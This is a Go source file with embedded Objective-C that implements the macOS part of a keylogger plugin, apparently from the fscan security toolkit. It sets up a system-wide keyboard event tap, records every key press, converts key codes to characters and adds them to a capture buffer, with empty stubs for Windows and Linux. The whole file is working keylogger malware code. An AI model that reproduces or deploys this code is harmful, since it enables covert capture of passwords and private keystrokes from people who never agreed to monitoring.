// +build darwin package keylogger /* #cgo CFLAGS: -x objective-c #cgo LDFLAGS: -framework Cocoa -framework Carbon -framework ApplicationServices #import #import #import // 键盘事件回调函数 CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon); // 启动事件监听 int startEventMonitoring(void); // 停止事件监听 void stopEventMonitoring(void); // 全局变量 static CFMachPortRef eventTap = NULL; static CFRunLoopSourceRef runLoopSource = NULL; static bool isMonitoring = false; // 外部回调函数(Go函数) extern void handleKeyEvent(int keyCode, int isKeyDown); // 键盘事件回调函数实现 CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { if (type == kCGEventKeyDown || type == kCGEventKeyUp) { CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); int isKeyDown = (type == kCGEventKeyDown) ? 1 : 0; // 调用Go函数处理键盘事件 handleKeyEvent((int)keyCode, isKeyDown); } // 继续传递事件 return event; } // 启动事件监听 int startEventMonitoring(void) { if (isMonitoring) { return 0; // 已经在监听 } // 检查辅助功能权限 if (!AXIsProcessTrusted()) { return -1; // 没有辅助功能权限 } // 创建事件tap eventTap = CGEventTapCreate( kCGSessionEventTap, kCGHeadInsertEventTap, kCGEventTapOptionDefault, CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp), keyboardEventCallback, NULL ); if (!eventTap) { return -2; // 创建事件tap失败 } // 创建run loop source runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0); // 添加到当前run loop CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); // 启用事件tap CGEventTapEnable(eventTap, true); isMonitoring = true; return 0; // 成功 } // 停止事件监听 void stopEventMonitoring(void) { if (!isMonitoring) { return; } if (eventTap) { CGEventTapEnable(eventTap, false); CFRelease(eventTap); eventTap = NULL; } if (runLoopSource) { CFRunLoopRemoveSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); CFRelease(runLoopSource); runLoopSource = NULL; } isMonitoring = false; } */ import "C" import ( "context" "fmt" "time" "unsafe" "github.com/shadow1ng/fscan/common" ) var darwinKeylogger *KeyloggerPlugin // checkDarwinRequirements 检查Darwin特定要求 func (p *KeyloggerPlugin) checkDarwinRequirements() error { common.LogInfo("检查macOS键盘记录权限...") // 检查辅助功能权限 // 注意:实际运行时需要用户手动在系统偏好设置中授权 common.LogInfo("注意: macOS系统需要在'系统偏好设置 > 安全性与隐私 > 辅助功能'中授权此应用") return nil } // startDarwinKeylogging 启动Darwin键盘记录 func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { common.LogInfo("启动macOS键盘记录...") // 设置全局引用 darwinKeylogger = p // 启动事件监听 result := C.startEventMonitoring() switch result { case -1: return fmt.Errorf("macOS辅助功能权限未授权,请在系统偏好设置中启用") case -2: return fmt.Errorf("创建键盘事件监听失败") case 0: common.LogInfo("macOS键盘事件监听已启动") default: return fmt.Errorf("启动键盘监听时发生未知错误: %d", result) } // 启动RunLoop来处理事件 go p.runEventLoop(ctx) // 等待上下文取消 <-ctx.Done() // 停止事件监听 C.stopEventMonitoring() common.LogInfo("macOS键盘记录已停止") return nil } // runEventLoop 运行事件循环 func (p *KeyloggerPlugin) runEventLoop(ctx context.Context) { // 这里需要运行Core Foundation的RunLoop来处理事件 // 由于Go和C的交互限制,我们使用简单的循环来保持程序运行 ticker := time.NewTicker(100 * time.Millisecond) defer ticker.Stop() for { select { case <-ctx.Done(): return case <-ticker.C: // 保持循环运行,让C的事件处理能够工作 continue } } } // handleKeyEvent Go回调函数,由C代码调用 //export handleKeyEvent func handleKeyEvent(keyCode C.int, isKeyDown C.int) { if darwinKeylogger == nil { return } // 只处理按键按下事件 if isKeyDown == 1 { keyChar := getDarwinKeyChar(int(keyCode)) if keyChar != "" { darwinKeylogger.addKeyToBuffer(keyChar) } } } // getDarwinKeyChar 获取macOS按键字符 func getDarwinKeyChar(keyCode int) string { // macOS虚拟键码映射 keyMap := map[int]string{ 0: "a", 1: "s", 2: "d", 3: "f", 4: "h", 5: "g", 6: "z", 7: "x", 8: "c", 9: "v", 11: "b", 12: "q", 13: "w", 14: "e", 15: "r", 16: "y", 17: "t", 18: "1", 19: "2", 20: "3", 21: "4", 22: "6", 23: "5", 24: "=", 25: "9", 26: "7", 27: "-", 28: "8", 29: "0", 30: "]", 31: "o", 32: "u", 33: "[", 34: "i", 35: "p", 36: "[Enter]", 37: "l", 38: "j", 39: "'", 40: "k", 41: ";", 42: "\\", 43: ",", 44: "/", 45: "n", 46: "m", 47: ".", 48: "[Tab]", 49: " ", // 空格 50: "`", 51: "[Delete]", 53: "[Esc]", 55: "[Cmd]", 56: "[Shift]", 57: "[CapsLock]", 58: "[Option]", 59: "[Ctrl]", 60: "[RShift]", 61: "[ROption]", 62: "[RCtrl]", 63: "[Fn]", 64: "[F17]", 65: "[KeypadDecimal]", 67: "[KeypadMultiply]", 69: "[KeypadPlus]", 71: "[KeypadClear]", 72: "[VolumeUp]", 73: "[VolumeDown]", 74: "[Mute]", 75: "[KeypadDivide]", 76: "[KeypadEnter]", 78: "[KeypadMinus]", 79: "[F18]", 80: "[F19]", 81: "[KeypadEquals]", 82: "[Keypad0]", 83: "[Keypad1]", 84: "[Keypad2]", 85: "[Keypad3]", 86: "[Keypad4]", 87: "[Keypad5]", 88: "[Keypad6]", 89: "[Keypad7]", 91: "[Keypad8]", 92: "[Keypad9]", 96: "[F5]", 97: "[F6]", 98: "[F7]", 99: "[F3]", 100: "[F8]", 101: "[F9]", 103: "[F11]", 105: "[F13]", 106: "[F16]", 107: "[F14]", 109: "[F10]", 111: "[F12]", 113: "[F15]", 114: "[Help]", 115: "[Home]", 116: "[PgUp]", 117: "[ForwardDelete]", 118: "[F4]", 119: "[End]", 120: "[F2]", 121: "[PgDn]", 122: "[F1]", 123: "[Left]", 124: "[Right]", 125: "[Down]", 126: "[Up]", } if keyName, exists := keyMap[keyCode]; exists { return keyName } return fmt.Sprintf("[KEY_%d]", keyCode) } // checkWindowsRequirements 检查Windows特定要求(Darwin平台的空实现) func (p *KeyloggerPlugin) checkWindowsRequirements() error { return fmt.Errorf("不支持的平台") } // checkLinuxRequirements 检查Linux特定要求(Darwin平台的空实现) func (p *KeyloggerPlugin) checkLinuxRequirements() error { return fmt.Errorf("不支持的平台") } // startWindowsKeylogging 启动Windows键盘记录(Darwin平台的空实现) func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { return fmt.Errorf("不支持的平台") } // startLinuxKeylogging 启动Linux键盘记录(Darwin平台的空实现) func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { return fmt.Errorf("不支持的平台") }